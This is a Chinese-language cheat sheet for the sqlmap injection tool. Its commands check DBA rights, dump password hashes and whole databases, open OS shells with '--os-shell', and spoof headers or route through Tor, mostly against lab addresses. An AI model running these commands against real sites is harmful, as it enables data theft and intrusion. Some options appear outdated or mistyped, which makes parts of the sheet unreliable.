天天看點

SQLmap實戰

1、實戰mssql

判斷注入類型 	python sqlmap.py -u 注入點

判斷目前使用者是否是dba 	python sqlmap.py -u 注入點 --is-dba -v 1

列舉資料庫使用者 	python sqlmap.py -u 注入點 --users -v 0

列舉資料庫密碼	python sqlmap.py -u 注入點 --passwords -v 0

檢視使用者權限 	python sqlmap.py -u 注入點 --privileges -v 0

執行指令	python sqlmap.py -u 注入點 --os-shell		-os-cmd=net user
           

2、基本使用

執行SQL語句·python sqlmap.py -u 注入點 -v 1 --sql-shell

更詳細的資訊 python sqlmap.py -u 注入點 -v 5

POST送出     python sqlmap.py -u 檔案路徑 --method POST --data 參數

cookie送出   python sqlmap.py -u 檔案路徑 --cookie 參數 -v 1

使用referer欺騙  python sqlmap.py -u 注入點 --referer referer位址 -v 3 

自定義user-agent 或者使用随機自帶的user-agents.txt

	python sqlmap.py -u 注入點 --user-agent "自定義" -v 3
	python sqlmap.py -u 注入點 -v 1 -a "./txt/user-agents.txt"

使用基本認證  python sqlmap.py -u 注入點 --auth-type Basic --auth-cred "testuser:testpass" -v 3

使用Digest認證  python sqlmap.py -u 注入點 --auth-type Digest --auth-cred "testuser:testpass" -v 3

使用代理,配合TOR  python sqlmap.py -u 注入點 --proxy 代理ip

使用多線程猜解	python sqlmap.py -u 注入點 -v 1 --current-user --threads 3

繞過動态檢測,直接指定有注入點的參數,可以使用,分割多個參數,指定user-agent注入
           

頁面比較

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --string “luther” -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --regexp “lu[\w][\w]er” -v

排除網站的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --excl-reg “Dynamic content: ([\d]+)”

多語句測試,php内嵌函數mysql_query(),不支援多語句

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --stacked-test -v 1

union注入測試

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1” --union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1” --union-test --union-tech orderby -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” -v 1 --union-use --banner

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” -v 5 --union-use --current-user

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1” -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” -v 1 -f

python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判斷目前使用者是否是dba

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” --is-dba -v 1

列舉資料庫使用者

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” --users -v 0

列舉資料庫使用者密碼

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --passwords -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” --passwords -U sa -v 0

檢視使用者權限

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1” --privileges -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” --privileges -U postgres -v 0

列資料庫

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” --dbs -v 0

清單的名字

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --tabless -D test -v 0

列出指定資料庫指定表的列名

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --columns -T users -D test -v 1

列出指定資料庫的指定表的指定列的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” --dump -T users -D master -C surname -v 0

指定列的範圍從2-4

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --dump -T users -D test --start 2 --stop 4 -v 0

導出所有資料庫,所有表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --dump-all -v 0

隻列出使用者自己建立的資料庫和表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1” --dump-all --exclude-sysdbs -v 0

sql query

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” --sql-query “SELECT usename FROM pg_user” -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1” --sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3” -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

儲存和恢複會話

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” -b -v 1 -s “sqlmap.log”

儲存選項到INC配置檔案

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1” -b -v 1 --save